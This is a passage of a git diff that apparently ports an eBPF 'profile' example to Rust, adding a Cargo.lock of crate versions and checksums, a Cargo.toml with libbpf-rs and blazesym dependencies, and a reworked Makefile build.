"registry+https://github.com/rust-lang/crates.io-index" +checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd" + +[[package]] +name = "anstyle-parse" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys", +] + +[[package]] +name = "anyhow" +version = "1.0.99" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0674a1ddeecb70197781e945de4b3b8ffb61fa939a5597bcf48503737663100" + +[[package]] +name = "bitflags" +version = "2.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34efbcccd345379ca2868b2b2c9d3782e9cc58ba87bc7d79d5b53d9c9ae6f25d" + +[[package]] +name = "blazesym" +version = "0.2.0-rc.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29a810b7e5f883ad3c711208237841f051061bf59b6ee698ac4dc1fe12a3a5db" +dependencies = [ + "cpp_demangle", + "gimli", + "libc", + "memmap2 0.9.8", + "miniz_oxide", + "rustc-demangle", + "tracing", +] + +[[package]] +name = "camino" +version = "1.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d07aa9a93b00c76f71bc35d598bed923f6d4f3a9ca5c24b7737ae1a292841c0" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo-platform" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo_metadata" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eee4243f1f26fc7a42710e7439c149e2b10b05472f88090acce52632f231a73a" +dependencies = [ + "camino", + "cargo-platform", + "semver", + "serde", + "serde_json", + "thiserror", +] + +[[package]] +name = "cc" +version = "1.2.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42bc4aea80032b7bf409b0bc7ccad88853858911b7713a8062fdc0623867bedc" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fd1289c04a9ea8cb22300a459a72a385d7c73d3259e2ed7dcb2af674838cfa9" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "clap" +version = "4.5.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c5e4fcf9c21d2e544ca1ee9d8552de13019a42aa7dbf32747fa7aaf1df76e57" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fecb53a0e6fcfb055f686001bc2e2592fa527efaf38dbe81a6a9563562e57d41" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.5.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14cb31bb0a7d536caef2639baa7fad459e15c3144efefa6dbd1c84562c4739f6" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675" + +[[package]] +name = "colorchoice" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" + +[[package]] +name = "cpp_demangle" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96e58d342ad113c2b878f16d5d034c03be492ae460cdbc02b7f0f2284d310c7d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fallible-iterator" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "getrandom" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6298e594375a7fead9efd5568f0a46e6a154fb6a9bdcbe3c06946ffd81a5f6" +dependencies = [ + "fallible-iterator", + "indexmap", + "stable_deref_trait", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "indexmap" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2481980430f9f78649238835720ddccc57e52df14ffce1c6f37391d61b563e9" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" + +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libbpf-cargo" +version = "0.24.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704727a07f185a76c58faa7b8ed08fba3194661c212183aea1174fe2970ee185" +dependencies = [ + "anyhow", + "cargo_metadata", + "clap", + "libbpf-rs", + "memmap2 0.5.10", + "regex", + "semver", + "serde", + "serde_json", + "tempfile", +] + +[[package]] +name = "libbpf-rs" +version = "0.24.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93edd9cd673087fa7518fd63ad6c87be2cd9b4e35034b1873f3e3258c018275b" +dependencies = [ + "bitflags", + "libbpf-sys", + "libc", + "vsprintf", +] + +[[package]] +name = "libbpf-sys" +version = "1.6.1+v1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e351855cbd724ac341b2a1c163568808e72acd930c491a921331c2e5347390d3" +dependencies = [ + "cc", + "nix 0.30.1", + "pkg-config", +] + +[[package]] +name = "libc" +version = "0.2.175" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a82ae493e598baaea5209805c49bbf2ea7de956d50d7da0da1164f9c6d28543" + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "log" +version = "0.4.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "memchr" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" + +[[package]] +name = "memmap2" +version = "0.5.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83faa42c0a078c393f6b29d5db232d8be22776a891f8f56e5284faee4a20b327" +dependencies = [ + "libc", +] + +[[package]] +name = "memmap2" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843a98750cd611cc2965a8213b53b43e715f13c37a9e096c6408e69990961db7" +dependencies = [ + "libc", +] + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", +] + +[[package]] +name = "nix" +version = "0.30.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "proc-macro2" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "profile" +version = "0.1.0" +dependencies = [ + "blazesym", + "clap", + "libbpf-cargo", + "libbpf-rs", + "libc", + "nix 0.29.0", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "regex" +version = "1.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23d7fd106d8c02486a8d64e778353d1cffe08ce79ac2e82f540c86d0facf6912" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.10", + "regex-syntax 0.8.6", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b9458fa0bfeeac22b5ca447c63aaf45f28439a709ccd244698632f9aa6394d6" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.6", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caf4aa5b0f434c91fe5c7f1ecb6a5ece2130b02ad2a590589dda5146df959001" + +[[package]] +name = "rustc-demangle" +version = "0.1.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace" + +[[package]] +name = "rustix" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + +[[package]] +name = "semver" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.143" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d401abef1d108fbd9cbaebc3e46611f4b1021f714a0597a71f41ee463f5f4a5a" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "syn" +version = "2.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ede7c438028d4436d71104916910f5bb611972c5cfd7f89b8300a8186e6fada6" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15b61f8f20e3a6f7e0649d825294eaf317edce30f82cf6026e7e4cb9222a7d1e" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "tracing" +version = "0.1.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "vsprintf" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aec2f81b75ca063294776b4f7e8da71d1d5ae81c2b1b149c8d89969230265d63" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.53.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags", +] diff --git a/src/12-profile/Cargo.toml b/src/12-profile/Cargo.toml new file mode 100644 index 00000000..78d5e1c3 --- /dev/null +++ b/src/12-profile/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "profile" +version = "0.1.0" +authors = ["Kuifeng Lee "] +license = "GPL-2.0 OR BSD-3-Clause" +edition = "2021" +rust-version = "1.71" + +[dependencies] +blazesym = { version = "0.2.0-rc.4",features = ["tracing"] } +clap = { version = "4.5", features = ["derive"] } +libbpf-rs = "0.24" +libc = "*" +nix = "0.29.0" +tracing = "0.1" +tracing-subscriber = {version = "0.3", features = ["ansi", "env-filter", "fmt"]} + +[build-dependencies] +libbpf-cargo = "0.24" diff --git a/src/12-profile/Makefile b/src/12-profile/Makefile index 9c6c657f..9e3882b8 100644 --- a/src/12-profile/Makefile +++ b/src/12-profile/Makefile @@ -1,14 +1,14 @@ # SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) OUTPUT := .output CLANG ?= clang +CARGO ?= cargo +TARGET_DIR := target/release +BINARY_NAME := profile LIBBPF_SRC := $(abspath ../third_party/libbpf/src) BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool -LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) -LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) -LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ | sed 's/arm.*/arm/' \ | sed 's/aarch64/arm64/' \ @@ -17,36 +17,13 @@ ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ | sed 's/riscv64/riscv/' \ | sed 's/loongarch64/loongarch/') VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h -# Use our own libbpf API headers and Linux UAPI headers distributed with -# libbpf to avoid dependency on system-wide headers, which could be missing or -# outdated -INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) -CFLAGS := -g -Wall -ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) - -APPS = # minimal minimal_legacy bootstrap uprobe kprobe fentry usdt sockfilter tc ksyscall - -CARGO ?= $(shell which cargo) -ifeq ($(strip $(CARGO)),) -BZS_APPS := -else -BZS_APPS := profile -APPS += $(BZS_APPS) -# Required by libblazesym -ALL_LDFLAGS += -lrt -ldl -lpthread -lm -endif -# Get Clang's default includes on this system. We'll explicitly add these dirs -# to the includes list when compiling with `-target bpf` because otherwise some -# architecture-specific dirs will be "missing" on some architectures/distros - -# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, -# sys/cdefs.h etc. might be missing. -# -# Use '-idirafter': Don't interfere with include mechanics except where the -# build would have failed anyways. +# Get Clang's default includes on this system CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') +INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) + ifeq ($(V),1) Q = msg = @@ -59,22 +36,14 @@ else MAKEFLAGS += --no-print-directory endif -define allow-override - $(if $(or $(findstring environment,$(origin $(1))),\ - $(findstring command line,$(origin $(1)))),,\ - $(eval $(1) = $(2))) -endef - -$(call allow-override,CC,$(CROSS_COMPILE)cc) -$(call allow-override,LD,$(CROSS_COMPILE)ld) - .PHONY: all -all: $(APPS) +all: $(BINARY_NAME) .PHONY: clean clean: $(call msg,CLEAN) - $(Q)rm -rf $(OUTPUT) $(APPS) + $(Q)rm -rf $(OUTPUT) $(TARGET_DIR) $(BINARY_NAME) + $(Q)$(CARGO) clean $(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): $(call msg,MKDIR,$@) @@ -93,49 +62,46 @@ $(BPFTOOL): | $(BPFTOOL_OUTPUT) $(call msg,BPFTOOL,$@) $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap - -$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: - $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release - -$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) - $(call msg,LIB, $@) - $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ - -$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) - $(call msg,LIB,$@) - $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ - -# Build BPF code -$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) +# Build BPF object files from C source +$(OUTPUT)/%.bpf.o: src/bpf/%.bpf.c $(LIBBPF_OBJ) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) $(call msg,BPF,$@) $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ - -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + -c $< 